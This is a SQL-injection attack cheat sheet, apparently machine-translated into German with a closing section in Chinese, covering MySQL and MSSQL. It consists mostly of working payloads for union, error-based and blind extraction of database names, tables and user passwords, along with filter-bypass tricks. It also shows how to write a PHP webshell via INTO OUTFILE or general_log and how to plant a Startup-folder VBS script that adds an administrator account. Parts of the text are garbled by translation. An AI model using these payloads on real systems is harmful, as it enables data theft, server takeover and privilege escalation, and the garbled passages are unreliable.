Der Artikel ist etwas lang, bitte haben Sie etwas Geduld

Baseninjektion

gemeinsame Abfrage

Wenn das vorherige Abfrageergebnis nicht leer ist, werden die Werte der beiden Abfragen zurückgegeben:

Wenn das vorherige Abfrageergebnis leer ist, wird nur der Wert der Union-Abfrage zurückgegeben:

Stichwort Union auswählen

Anzahl der erforderlichen Felder

Gemeinsame Payloads: # Query table name ' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23 # Query field name ' union select group_concat (column_name) from information_schema.columns where table_name = 'table1' % 23




Fehlerinjektion

Die Fehlerinjektionsinjektion dient dazu, die Funktion zu verwenden, die mysql zur Abfrage von Informationen führt, wenn ein Fehler auftritt.Es gibt 10 häufig verwendete Methoden zur Fehlerberichterstattung, wie folgt:

# Ändern Sie das Feld select user (), um andere Informationen zu erhalten

# 1. floor () select * from test where id = 1 and ( select 1 from ( select count ( * ), concat ( user (), floor (rand( 0 ) * 2 ))x from information_schema. tables group by x )a);

# 2. ExtractValue () select * from test where id = 1 and ( extractvalue ( 1 , concat ( 0x7e ,( select user ()), 0x7e )));

# 3. updatexml () select * from test where id = 1 and ( updatexml ( 1 , concat ( 0x7e ,( select user ()), 0x7e ), 1 ));

# 4. geometrycollection() select * from test where id = 1 and geometrycollection(( select * from ( select * from ( select user ())a)b));

# 5. Mehrpunkt()

select * from test where id = 1 and multipoint(( select * from ( select * from ( select user ())a)b));

6. Vieleck ()

select * from test where id = 1 and polygon(( select * from ( select * from ( select user ())a)b));

7. Multipolygon ()

select * from test where id = 1 and multipolygon(( select * from ( select * from ( select user ())a)b));

8. Linienfolge ()

select * from test where id = 1 and linestring(( select * from ( select * from ( select user ())a)b));

9. Mehrlinienfolge ()

select * from test where id = 1 and multilinestring(( select * from ( select * from ( select user ())a)b));

10. Ausdruck ()

select * from test where id = 1 and exp (~( select * from ( select user ())a));

Boolesche Jalousien

Es gibt zwei gängige Boolesche Blind-Injection-Szenarien, eines ist, dass der Rückgabewert nur True oder False ist, und das andere ist Order by Blind Injection.

Der Rückgabewert ist nur vom Typ True oder False

Wenn das Abfrageergebnis nicht leer ist, geben Sie True (oder Erfolg oder ähnliches) zurück, andernfalls geben Sie False zurück

Diese Art der Injektion ist relativ einfach: Sie können die Zeichen des Tabellennamens, des Feldnamens und des Feldwerts nacheinander erraten und anhand der Rückgabe des Ergebnisses beurteilen, ob die Vermutung richtig ist.

Beispiel: parameter=' oder ascii(substr((select database()) ,1,1))<115—+

Jalousien bestellen

Die Ergebnisreihenfolge von order by rand(True) und order by rand(False) ist unterschiedlich, und gemäß diesem Unterschied kann eine Blindanmerkung vorgenommen werden:

Beispiel: order by rand(database()='pdotest')

Eine Sortierung von True wird zurückgegeben, was anzeigt, dass database()='pdotest' der richtige Wert ist

Zeit blind

Tatsächlich haben die meisten Seiten, selbst wenn SQL-Injection vorhanden ist, im Grunde kein Echo, daher ist es zu diesem Zeitpunkt erforderlich, eine Verzögerung zu verwenden, um zu beurteilen, ob das Abfrageergebnis korrekt ist.

Gängige Time Blinds sind:

1. schlafen(x)

id = ' oder sleep(3)%23

id=' oder if ( ascii ( substr ( database (), 1 , 1 )) > 114 ,sleep( 3 ), 0 )% 23

Wenn das Abfrageergebnis korrekt ist, beträgt die Verzögerung 3 Sekunden, und wenn das Abfrageergebnis falsch ist, gibt es keine Verzögerung.

2. Benchmark ()

Simulieren Sie die Verzögerung mit einer großen Anzahl von Operationen:

id = ' oder Benchmark(10000000,sha(1))%23

id=' oder if ( ascii ( substr ( database (), 1 , 1 )) > 114 ,benchmark( 10000000 ,sha( 1 )), 0 )% 23

Das lokale Testen dieses Werts kann etwa 3 Sekunden verzögern:

3. Kartesisches Produkt

Die Berechnung des kartesischen Produkts simuliert auch die Verzögerung durch eine große Anzahl von Operationen:

select count ( * ) from information_schema.tables A , information_schema.tables B , information_schema.tables C

select balabala from table1 where '1' = '2' or if ( ascii ( substr ( database (), 1 , 1 )) > 0 ,( select count ( * ) from information_schema.tables A,information_schema.tables B , information_schema. Tabellen C), 0 )

Die kartesische Produktverzögerung beträgt ebenfalls etwa 3 Sekunden

HTTP-Header-Injection

Das Injektionsverfahren ist ähnlich wie oben, das heißt, der Injektionspunkt hat sich geändert

HTTP-Split-Injection

Häufige Szenarien, die SQL-Anweisung bei der Anmeldung lautet wie folgt, und das Kommentarsymbol wird gefiltert

Wählen Sie xxx aus xxx aus, wobei Benutzername = 'xxx' und Passwort = 'xxx'

# Methode 1 username = 1 ' or extractvalue/* password=1*/(1,concat(0x7e,(select database()),0x7e))or'

Die SQL-Anweisung wird schließlich zu select xxx from xxx , wobei username = '1' or extractvalue /*' and password='*/ ( 1 , concat ( 0x7e ,( select database ()), 0x7e ))or ''

# Methode 2 username = 1 ' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or ' 1 password = 1 select * from users where username = '1' or if ( ascii ( substr ( database (), 1 , 1 )) > 0 , sleep( 3 ), 0 ) oder '1' und Passwort = '1'


Sekundärinjektion

Secondary Injection tritt hauptsächlich bei der Kombination von update und select auf, wie z. B. Login nach Registrierung

Die vom Angreifer erstellte schädliche Nutzlast wird zuerst vom Server in der Datenbank gespeichert, und dann wird die Datenbank beim Spleißen von SQL-Anweisungen aus dem SQL-Injection-Problem herausgenommen.

SQL-Einschränkungsangriff

Wenn der Benutzername-Parameter während der Registrierung in mysql ein String- Typ ist und ein eindeutiges Attribut hat, wird die Länge auf VARCHAR(20) gesetzt.

Dann registrieren wir einen Benutzernamen, dessen Benutzername admin [20 Leerzeichen] asd ist, dann werden wir in mysql zuerst beurteilen, ob es Duplikate gibt. Wenn es keine Duplikate gibt, werden die ersten 20 Zeichen abgefangen und der Datenbank hinzugefügt, also die Daten in der Datenbank gespeichert ist admin [20 Leerzeichen], und beim Anmelden ignoriert die SQL-Anweisung Leerzeichen , sodass wir dem Überschreiben des Admin-Kontos entsprechen.

Basis-Bypass

Fall umgehen

Wird verwendet, wenn beim Filtern kein übereinstimmender Fall vorhanden ist:

Wählen Sie * aus der Tabelle;

doppelte Schreibumgehung

Die zum direkten Löschen verbotener Zeichen verwendeten Filterbedingungen lauten wie folgt:

preg_replace('/select/','',input)

Dann können Sie selectselect from xxx zum Umgehen verwenden, nach dem Löschen einer Auswahl ist der Rest select from xxx

Leerzeichen umgehen

Wenn Leerzeichen gefiltert werden, kann dies mit /**/ () %0a %09 umgangen werden

Verwenden Sie hexadezimal, um bestimmte Zeichen zu umgehen

Wenn der Tabellenname beim Abfragen des Feldnamens gefiltert wird oder einige bestimmte Zeichen in der Datenbank gefiltert werden, können Sie hexadezimal verwenden, um Folgendes zu umgehen:

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273 ist die Hexadezimalzahl der Benutzer

Es kann nur für Tabellennamen, Feldnamen usw., eingebaute Funktionsschlüsselwörter verwendet werden und kann nicht durch hexadezimal ersetzt werden

Breites Byte, Latin1-Standardcodierung

Wide-Byte-Injektion

Wenn das einfache Anführungszeichen maskiert ist , aber die Codierung gbk encoding ist, wird es mit einem Backslash mit einem Sonderzeichen kombiniert, um ein Sonderzeichen zu bilden:

username = %df'# Nach der Dekodierung durch gbk wird es: select * from users where username ='yun'#

Einfaches Anführungszeichen erfolgreich geschlossen.

Latin1-Codierung

Die Codierung der Mysql-Tabelle ist standardmäßig latin1. Wenn der Zeichensatz auf utf8 eingestellt ist, gibt es einige Zeichen, die in latin1, aber nicht in utf8 enthalten sind. Wie verarbeitet Mysql diese Zeichen? Einfach ignorieren

Wir können also ?username=admin%c2 eingeben und in der Tabelle speichern und es wird admin

Das obige %c2 kann durch ein beliebiges Zeichen zwischen %c2-%ef ersetzt werden

Alternativen zu gebräuchlichen Zeichen

und -> && oder -> || Leerzeichen-> /**/ -> %a0 -> %0a -> + # -> --+ -> ;%00(php<=5.3.4) -> oder ' 1'='1 = -> like -> regexp -> <> -> in Hinweis: regexp ist eine reguläre Übereinstimmung, und es gibt einige neue Injektionsmethoden, die regular verwenden




Kommas werden gefiltert

# Verwenden Sie stattdessen join: - 1 union select 1 , 2 , 3 - 1 union select * from ( select 1 )a join ( select 2 )b join ( select 3 )c% 23

# Grenze: Grenze 2 , 1 Grenze 1 Offset 2

# substr : substr ( database (), 5 , 1 ) substr ( database () from 5 for 1 ) from ist das erste Zeichen, mit dem begonnen werden soll, for soll mehrere substr ( database () from 5 ) # If for is also Filtered mid( REVERSE (mid( database () from ( - 5 ))) from ( - 1 )) reverse ist umgekehrt, mid und substr sind äquivalent




# if : if ( database () = 'xxx',sleep( 3 ), 1 ) id = 1 and databse() = 'xxx' and sleep( 3 ) select case when database () = 'xxx' then sleep( 5 ) sonst 0 Ende


Grenzwert wird gefiltert

Wählen Sie einen Benutzer aus dem Benutzerlimit 1 aus

Fügen Sie Einschränkungen hinzu, z. B.:

Benutzer aus Benutzergruppe nach Benutzer_ID mit Benutzer_ID = 1 auswählen (Benutzer_ID ist eine Spalte in der Tabelle)

information_schema wird gefiltert

Die innodb-Engine kann mysql.innodb_table_stats, innodb_index_stats verwenden, das Protokoll zeichnet die Tabellen- und Schlüsselinformationen in diesen beiden Tabellen auf

Darüber hinaus werden die Systemtabellen sys.schema_table_statistics_with_buffer, sys.schema_auto_increment_columns verwendet, um den Cache der Abfrage aufzuzeichnen, der in einigen Fällen information_schema ersetzen kann

Datei lesen und schreiben

Lese- und Schreibberechtigungen

Bevor Sie MySQL-Dateien lesen und schreiben, müssen Sie überprüfen, ob Sie Berechtigungen haben. Die MySQL-Dateiberechtigungen werden im file_priv-Feld der MySQL-Tabelle gespeichert, entsprechend den verschiedenen Benutzern. Wenn Sie lesen und schreiben können, ist der Datenbankeintrag Y, andernfalls ist N:

Wir können sehen, was der aktuelle Benutzer durch user() ist, ob der entsprechende Benutzer Lese- und Schreibrechte hat, nach unten schauen, andernfalls diesen Pfad aufgeben und andere Methoden finden.

Zusätzlich zu den Benutzerberechtigungen gibt es einen weiteren Ort, an dem Sie nachsehen müssen, nämlich secure-file-priv . Es ist eine Systemvariable, die verwendet wird, um Lese- und Schreibfunktionen einzuschränken, und sie hat drei Werte:

(1) Kein Inhalt, d. h. unbegrenzt

(2) ist NULL, was anzeigt, dass das Lesen und Schreiben von Dateien verboten ist

(3) ist der Name des Verzeichnisses, was darauf hinweist, dass es nur in diesem Verzeichnis gelesen und geschrieben werden kann

Dieses Konfigurationselement wird in my.ini gespeichert Nach der Änderung muss mysql neu gestartet werden, um die Konfigurationsdatei neu zu laden

Datei lesen

Wenn die beiden oben genannten Bedingungen erfüllt sind, können Sie versuchen, Dateien zu lesen und zu schreiben.

Häufig verwendete Anweisungen zum Lesen von Dateien lauten wie folgt:

select load_file(file_path); lade Daten infile "/etc/passwd" in Tabelle Tabellenname FIELDS TERMINATED BY 'n'; #read server file load data local infile "/etc/passwd" in table library Vorhandener Tabellenname FIELDS TERMINATED BY ' n'; #Klientendatei lesen

Es sollte beachtet werden, dass file_path ein absoluter Pfad sein muss und Backslashes maskiert werden müssen:

Datei schreiben

select 1,"" in outfile '/var/www/html/1.php'; select 2,"" in dumpfile '/var/www/html/1.php';

Wenn der Wert von secure_file_priv NULL ist, kann er umgangen werden, indem Protokolle generiert werden:

set global general_log_file = '/var/www/html/1.php'; set global general_log = on;

Zusätzlich zu general_log gibt es viele andere Protokolle im Protokoll.Im tatsächlichen Szenario müssen Sie über ausreichende Berechtigungen verfügen, um das Protokoll zu schreiben, und Sie müssen die Injektionsbedingungen stapeln, um diese Methode zu verwenden, sodass sie sehr schwierig zu verwenden ist .

DNS-Out-of-Band-Injection

Wenn der Benutzer auf den DNS-Server zugreift, wird ein Eintrag im DNS-Protokoll hinterlassen. Wenn die Anfrage Informationen aus der SQL-Abfrage enthält, können die Informationen an die DNS-Einträge weitergegeben werden.

Nutzungsbedingungen:

1.secure_file_priv ist leer und hat die Berechtigung zum Lesen der Datei

2. Das Ziel ist Windows (mit UNC, Linux ist nicht möglich)

3. Kein Echo und keine zeitblinde Injektion

Wie benutzt man:

Ein kostenloses DNSlog finden Sie unter: http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF

Bild


Methode 2: ntunnel_mysql.php

Navicats integrierte php-mysq-Linkdatei wird auf die Zielwebsite hochgeladen

Bild


Navicat wie folgt konfigurieren:

Bild


Methode 3: Eingebautes Plug-in von Ant Sword

Bild


Rechteausweitung für Artikel starten

Wenn Windows gestartet wird, gibt es einige Programme, die beim Start gestartet werden. Zu diesem Zeitpunkt sind die Berechtigungen der gestarteten Programme System, weil das System sie startet. Damit können wir automatisierte Skripte in die Startelemente schreiben, um dies zu erreichen der Zweck der Privilegieneskalation. Wenn die Windows-Startobjekte von MySQL geschrieben werden können, können Sie MySQL verwenden, um benutzerdefinierte Skripts in die Startobjekte zu importieren. Dieses Skript wird automatisch ausgeführt, wenn sich der Benutzer anmeldet, hochfährt und herunterfährt.

Unter dem Windows2003-System lautet der Startobjektpfad wie folgt: C:\Dokumente und Einstellungen\Administrator\„Start“-Menü\Programme\Startup C:\Dokumente und Einstellungen\Alle Benutzer\„Start“-Menü\Programme\Startup
         
         

Im Windows2008-System lautet der Startelementpfad wie folgt: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
         
         

Wenn wir die Webshell einer Website erhalten und weitere Serverberechtigungen der Website erhalten möchten, überprüfen Sie das lesbare und beschreibbare Verzeichnis der Systemfestplatte auf dem Server. Wenn das Startverzeichnis C:\Benutzer\Benutzername\AppData\ ist. Roaming\Microsoft\Windows\Start Menu\Programs\Startup ist lesbar und beschreibbar, und wir können ein Skript ausführen, das ein vbs oder bat zur Rechteausweitung hochlädt.

Verwenden Sie hier test.vbs , um das Benutzerkennwort hinzuzufügen, und das Kontokennwort kann automatisch hinzugefügt werden, wenn es in das Startverzeichnis hochgeladen und neu gestartet wird.

set wshshell=createobject( "wscript.shell" ) a=wshshell.run( "cmd.exe /c net user test test123 /add" ,0) b=wshshell.run( "cmd.exe /c net localgroup administrators test / hinzufügen" ,0)

Über mysql:

mysql verwenden ; Tabelle erstellen test(cmd text); in Werte einfügen ( "set wshshell = createobject (""wscript.shell"")"); in Werte einfügen ("a = wshshell.run (" "cmd.exe / c net user test test123 / add "", 0 )"); einfügen in a values ​​("b = wshshell.run(""cmd.exe / c net localgroup administrators test / add "", 0 )"); wählen Sie * aus




a in die Ausgangsdatei "C:\Dokumente und Einstellungen\ All Users\Startmenü\Programme\Startup\secist.vbs";

Berechtigungen können nach dem Neustart eskaliert werden

CVE-2016-6663 und CVE-2016-6664

https://lengjibo.github.io/mysqludf/

MSSQL

MSSQL-Grundlagen

Systemintegrierte Bibliothek

MSSQL wird nach der Installation standardmäßig mit sechs Datenbanken geliefert

4 Systembibliotheken: master , model , tempdb und msdb ;

2 Beispielbibliotheken: NorthwindTraders und Pubs

Systemintegrierte Bibliothek

Funktion

Meister

Systemsteuerungsdatenbank, einschließlich aller Konfigurationsinformationen, Benutzeranmeldeinformationen, aktueller Systembetrieb

Modell

Vorlagendatenbank, wenn die Datenbank erstellt wird, wird die Vorlage aller Datenbanken erstellt.

tempdb

Temporärer Container, der alle temporären Tabellen, gespeicherten Prozeduren und temporären Dateien enthält, die mit anderen Programmen interagieren

msdb

Es wird hauptsächlich von Benutzern verwendet und zeichnet Planungsinformationen, Informationen zur Ereignisverarbeitung, Datensicherung, Warnungen und abnormale Informationen auf

Systemansichtstabelle

Die MSSQL-Datenbank hat ihre eigenen Datentabellen installiert:

Tabelle ansehen

Funktion

Systemobjekte

Alle Tabellen in der Datenbank werden aufgezeichnet, und gemeinsame Felder sind id, name und xtype

Systemspalten

Zeichnet die Felder aller Tabellen in der Datenbank auf, häufig verwendete Felder sind id, name und xtype

sys.Datenbanken

Alle Datenbanken in SQL Server

sys.sql_logins

Alle Anmeldungen in SQL Server

information_schema.tables

Tabelle der aktuellen Benutzerdatenbank

information_schema.columns

Spalten der aktuellen Benutzerdatenbank

sys.all_columns

Vereinigung aller Spalten benutzerdefinierter und Systemobjekte

sys.database_principals

Ausnahmeberechtigungen für jede Berechtigung oder Spalte in der Datenbank

sys.database_files

Datenbankdatei in der Datenbank gespeichert

MSSQL-Berechtigungssteuerung

Serverrolle

Feste Serverrollen

Genehmigung

sysadmin (höchste Serverrolle)

Führen Sie eine beliebige Aktion in SQL Server aus

Serveradmin

Servereinstellungen konfigurieren

setupadmin

Installieren Sie die Replikation und verwalten Sie den Erweiterungsprozess

Sicherheitsadmin

Verwalten Sie die Anmeldung und erstellen Sie Datenbankberechtigungen und lesen Sie Audits

Prozessadmin

Verwalten Sie SQL Server-Prozesse

dbcreator

Datenbanken erstellen und ändern

Festplattenadmin

Festplattendateien verwalten

Es kann anhand der folgenden Aussage beurteilt werden:

is_srvrolemember('sysadmin') auswählen

Bild


Datenbankrolle

Feste Datenbankrollen

Genehmigung

db_owner (höchstes Privileg)

Benutzer, der alle Aktionen in der Datenbank ausführen kann

db_accessadmin

Benutzer, die Benutzer hinzufügen und löschen können

db_datareader

Benutzer, die Daten in Benutzertabellen in allen Datenbanken anzeigen können

db_datawriter

Benutzer, die Daten in Benutzertabellen in allen Datenbanken hinzufügen, ändern und löschen können

db_ddladmin

Benutzer, die alle DDL-Operationen für die Datenbank ausführen können

db_securityadmin

Ein Benutzer, der alle Aktionen im Zusammenhang mit Sicherheitsberechtigungen in der Datenbank verwalten kann

db_backoperator

Benutzer, die die Datenbank sichern können

db_denydatareader

Benutzer, die keine Daten in der Datenbank sehen können

db_denydatawriter

Benutzer, die keine Daten in der Datenbank ändern können

Es kann anhand der folgenden Aussage beurteilt werden:

select is_member( 'db_owner' )

Bild


Gemeinsame MSSQL-Anweisungen

# Datenbank erstellen create database [dbname]; create database test;

# Datenbank löschen Datenbank löschen [ Datenbankname ] ; Datenbanktest löschen ;

# Erstellen Sie eine neue Tabelle create table table_name (name char ( 10 ),age tinyint,sex int ); # Wählen Sie vor dem Erstellen einer neuen Tabelle die Datenbank aus, der Standardwert ist der Test zur Verwendung der Hauptbibliothek ; erstellen Sie eine Tabelle admin (users char ( 255 ), passwd char ( 255 ), sex int );



# Lösche die neue Tabelle drop table tabellenname; drop table dbo.admin ;

# Daten in die Tabelle einfügen insert into table_name (column1,column2) values ​​(value1, value2); insert into admin (users,passwd,sex) values ​​( 'admin' , 'admin' , 1 );

# Inhalt löschen delete from table_name where column1 = value1; delete from admin where sex = 2 ;

# Inhalt aktualisieren update table_name set column2 = „xxx“ where column1 = value1; update admin set users = 'admintest' where sex = 2 ;

# Inhalt suchen select * from table_name where column1 = value1; select passwd from admin where users = 'admin' ;


Sortieren und nächste Daten erhalten

Es gibt kein Limit-Order-Feld in der MSSQL-Datenbank, aber Sie können Top 1 verwenden, um die ersten Daten in den Daten anzuzeigen.

Verwenden Sie <>, um die angezeigten Daten auszuschließen und die nächsten Daten zu erhalten, was bedeutet, dass sie nicht gleich sind.

Verwenden Sie not in, um bereits angezeigte Daten auszuschließen und die nächsten Daten zu erhalten, denen eine Sammlung folgen kann.

# Verwenden Sie <> , um Daten zu erhalten id =- 2 union select top 1 1 , id ,name from dbo.syscolumns where id = '5575058' and name <> 'id' and name <> 'username' --+ # Use not in Get data id =- 2 union select top 1 1 ,table_name from information_schema. tables where table_name not in ( select


top 1 table_name from information_schema.tables ) --+ id =- 2 union select top 1 1 , id ,name from dbo.syscolumns where id = '5575058' and name not in ( ' id' , 'username' ) --+

MSSSQL-Kommentare

Einzelne Zeile: --space Mehrere Zeilen: /**/

Gemeinsame Funktionen

Name

Funktion

benutzer_name()

Anmeldename des Benutzers

Nutzername()

Benutzername in der Datenbank

Benutzer

Benutzername in der Datenbank

Datenbankname()

Name des Datenspeichers

@@Ausführung

Gibt Informationen zur SQL Server-Version zurück

zitatname()

Fügen Sie in der gespeicherten Prozedur [], '' usw. zum Spaltennamen, Tabellennamen usw. hinzu, um sicherzustellen, dass die SQL-Anweisung normal ausgeführt werden kann

WARTE AUF VERZÖGERUNG '0:0:n'

'Stunde:Minute:Sekunde', WAITFOR DELAY '0:0:5' bedeutet, 5 Sekunden auf die Ausführung zu warten

Teilstring()

Abfangzeichenfolge substr(string, Anfangsabfangposition, Abfanglänge), zum Beispiel substring('abcdef',1,2) bedeutet ab dem ersten Bit beginnen, 2 Bit abfangen, nämlich 'ab'

Gängige Injektionsarten

Federated Query Injection

1. Bestimmen Sie den Injektionspunkt und geben Sie ? id = 1 ' und 1=1--+ ?id=1' und 1 = 2 --+ # ein. Dann ist hier die Zeicheninjektion, die durch einfache Anführungszeichen abgeschlossen werden muss


2. Bestimme die Anzahl der Felder ? id = 1 'order by 3--+ ?id=1' order by 4 --+

3. Union-Abfragebeurteilungs - Echopunkt – id = 0 'union select 1,2,3--+

4. Holen Sie sich den aktuellen Datenbanknamen und die Versionsinformationen ?id=0' union select 1 ,db_name(),@@version --+

5. Holen Sie sich alle Datenbanknamen, die Datenbank wurde in einer höheren Version von SQL Server zu einer dynamischen Ansicht – id = 0 ' union select 1, db_name (),name from master.sys.databases where name not in(select top 1 name from master.sys.databases)--+

6. Alle Tabellennamen abrufen. Wenn kein Datenbankname vor Informationen steht, wird standardmäßig die aktuelle Datenbank abgefragt. Im Gegensatz zu MySQL hat jede Datenbank eine separate Informationstabelle. Sie können master.information_schema.tables verwenden, um die Informationen abzufragen verschiedene Datenbanken ?id =0' union select top 1 1 , 2 , table_name from information_schema.tables where table_name not in ( select top 1 table_name from information_schema.tables ) -- +

7. Holen Sie sich alle Feldnamen und fügen Sie weitere Qualifikationen hinzu, um die Injektion zu erleichtern – id = 0 ' union select top 1 1,2,column_name from information_schema.columns where column_name not in ( select top 1 column_name from information_schema.columns)--+

?id=0' union select top 1 1 , 2 ,column_name from information_schema. columns where table_name = 'users' and column_name not in ( select top 2 column_name from information_schema. column where table_name = ' users ' ) --

8. Rufen Sie die Kontopasswortinformationen der Benutzertabelle ab id = 0 ' union select top 1 1,username,password from users--+

Fehlerinjektion

Die MSSQL-Datenbank ist eine stark typisierte Sprachdatenbank. Wenn der Typ inkonsistent ist, wird ein Fehler gemeldet. Mit einer Unterabfrage kann eine Fehlerinjektion realisiert werden.

1.判断注入点
id=1

2.判断是否为MSSQL数据库
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)

3.判断数据库版本号
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了,必须是在where后面拼接执行

4.获取当前数据库名
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果

5.判断当前服务器拥有的权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+

6.判断当前角色是否为DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件

7.获取当前用户名
and user_name()>0--+

8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库

9.获取数据库的个数
and 1=(select quotename(count(name)) from master.sys.databases)--+

10.一次性获取所有数据库库
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+

11.获取所有的表名
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。

12.获取字段名
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+

13.获取表中数据
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+

布尔盲注

1. 判断注入点 
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+

2.猜解数据库个数
id=1 and (select count(*) from sys.databases)=7--+        # 存在7个数据库

3.猜解数据库名长度
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+                              # 当前数据库名长度为4

4.猜解数据库名
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+

5.猜解表名
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+

6.猜解字段名
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+

7.猜解表中数据
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+

时间盲注

1.判断是否存在注入
id=1 WAITFOR DELAY '0:0:5'--+

2.判断权限
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+

3.查询当前数据库的长度和名字
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+

4.查询数据库的版本
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M

5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6

6.查询第一个表的长度
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+

7.查询第一个表的表名
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+

8.查询第二个表的长度
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+

9.查询第二个表的名字
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+

10.查询第一个表中的字段
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+

11.查询字段类型
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+

12.查询数据
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
